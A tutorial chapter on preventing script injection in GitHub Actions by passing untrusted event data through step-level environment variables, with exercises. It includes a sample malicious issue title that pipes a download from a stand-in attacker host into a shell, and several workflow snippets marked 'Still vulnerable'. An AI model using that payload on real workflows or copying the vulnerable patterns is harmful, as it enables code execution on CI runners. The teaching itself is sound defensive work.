Sub topic 5
Fixing injection with environment variables
This chapter assumes you can read a GitHub Actions workflow (events, jobs, steps) and write basic shell. It also assumes you have seen why ${{ }} inside a run: step is dangerous. Here you learn the standard fix, why it works, and the ways people still get it wrong.
Why the fix works
The runner expands ${{ }} expressions before a step starts. In a run: step, the expression is replaced with its value inside the script text, and only then is the script handed to the shell. If an attacker controls the value, they control part of the script.
An environment variable moves the value to a different place. The runner expands the expression into the env: mapping, which is just a name and a string value. The shell then starts with that variable already in its environment. When the script says $ISSUE_TITLE, the shell looks the value up and uses it as data. It never parses the contents as shell syntax.
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"A title such as "; curl https://attacker.example/x | sh; echo " is now printed as plain text. The script text is identical for every issue, so no title can change what the script does.
The rule
Keep every ${{ }} that holds untrusted data out of run: blocks. Put it in env:, then refer to it with the shell's own variable syntax.
| Shell | Reading the variable |
|---|---|
| bash, sh | `"$NAME"` |
| pwsh (PowerShell) | `$env:NAME` |
| cmd | `%NAME%` |
| python | `os.environ["NAME"]` |
| node | `process.env.NAME` |
The same pattern works for any interpreter you run from a step, because every process can read its environment.
Mistakes that still leave you vulnerable
Using env: is necessary but not sufficient. These errors are common in real workflows.
Expanding the variable through `${{ env.NAME }}`
# Still vulnerable
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: ${{ env.ISSUE_TITLE }}"env.ISSUE_TITLE is also an expression. The runner pastes it into the script text exactly as before. The shell variable $ISSUE_TITLE is the safe form, and the ${{ env.* }} form is not.
Leaving the variable unquoted
touch $ISSUE_TITLEWithout quotes, the shell splits the value on whitespace and expands wildcards. A title of a b * becomes several arguments. This is not code execution, but it changes what your command does. Quote every use: "$ISSUE_TITLE".
Re-parsing the value as code
Some constructs ask the shell to parse a string a second time. They undo the protection.
# Still vulnerable
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: bash -c "echo $ISSUE_TITLE"Here the outer shell substitutes the title into the string given to bash -c, and the inner shell parses it. eval "$VAR" and sh -c "$VAR" have the same problem. If you need a nested shell, pass the value as a positional argument:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: bash -c 'echo "$1"' _ "$ISSUE_TITLE"The script in single quotes is fixed text, and the title arrives as $1.
Option injection
A value that starts with - can be read by a command as a flag. Mark the end of options, or bind the value to an option explicitly:
grep -F -e "$ISSUE_TITLE" CHANGELOG.mdThe -e tells grep that the next argument is the pattern, even if it begins with a dash. Many commands also accept -- to end option parsing. Check the manual of each command you pass attacker text to.
Scope the variable to the step
You can declare env: at the workflow, job, or step level. Use the step level for untrusted values. A variable set at job level is visible to every step in the job, including third-party actions. Setting it only where it is needed limits where the attacker's text can go.
A complete example
This workflow validates new issue titles. It reads the title as data, applies a length check, and runs with only the permission it needs.
name: check-title
on:
issues:
types: [opened, edited]
permissions:
issues: read
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Check title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
if [ "${#ISSUE_TITLE}" -gt 80 ]; then
echo "::warning::Title is longer than 80 characters"
fi
printf 'Title: %s\n' "$ISSUE_TITLE"Two details are worth noting. The expression ${#ISSUE_TITLE} is shell syntax for string length, not a GitHub expression. The printf call uses a fixed format string, so the title cannot act as a format. With plain echo, some shells interpret backslash sequences in the data.
Values that do not need this treatment
Not every context value is attacker-controlled. Values the platform generates, such as github.sha, github.run_id and github.repository, have fixed, restricted formats. Using them directly in a script is not an injection risk.
The values to treat as hostile are those a contributor can write: issue and pull request titles and bodies, comment bodies, review text, branch names (github.head_ref, github.event.pull_request.head.ref), commit messages, and author names and email addresses. When in doubt, use the environment variable. It costs two extra lines and removes the question.
Checking your fix
- Search the workflow for
${{inside everyrun:block. - For each match, decide whether the value can be written by someone outside your team.
- Move each hostile value into a step-level
env:entry. - Replace the expression in the script with a quoted shell variable.
- Look for
eval,bash -c,sh -cand unquoted variables near the new variable.
Exercise
A teammate fixes a vulnerable step by adding env: BRANCH: ${{ github.head_ref }} but writes the script as run: git log "${{ env.BRANCH }}". Is the workflow now safe? Explain.
Show answer
No. ${{ env.BRANCH }} is still a GitHub expression, so the runner pastes the branch name into the script text before the shell starts, just like ${{ github.head_ref }}. The script must read the shell variable instead: run: git log "$BRANCH".
Exercise
Why does run: bash -c "echo $ISSUE_TITLE" remain injectable even though ISSUE_TITLE comes from env:? Write a safe version.
Show answer
The outer shell substitutes the title into the string passed to bash -c, and the inner shell parses that string as code. Pass the value as an argument instead: run: bash -c 'echo "$1"' _ "$ISSUE_TITLE".
Exercise
You want to search a file for an issue title with grep. Which form protects against a title such as -r, and why? Options: grep "$ISSUE_TITLE" file or grep -F -e "$ISSUE_TITLE" file.
Show answer
The second form. -e marks the next argument as the pattern, so a leading dash is not read as an option. -F also treats the title as a literal string instead of a regular expression.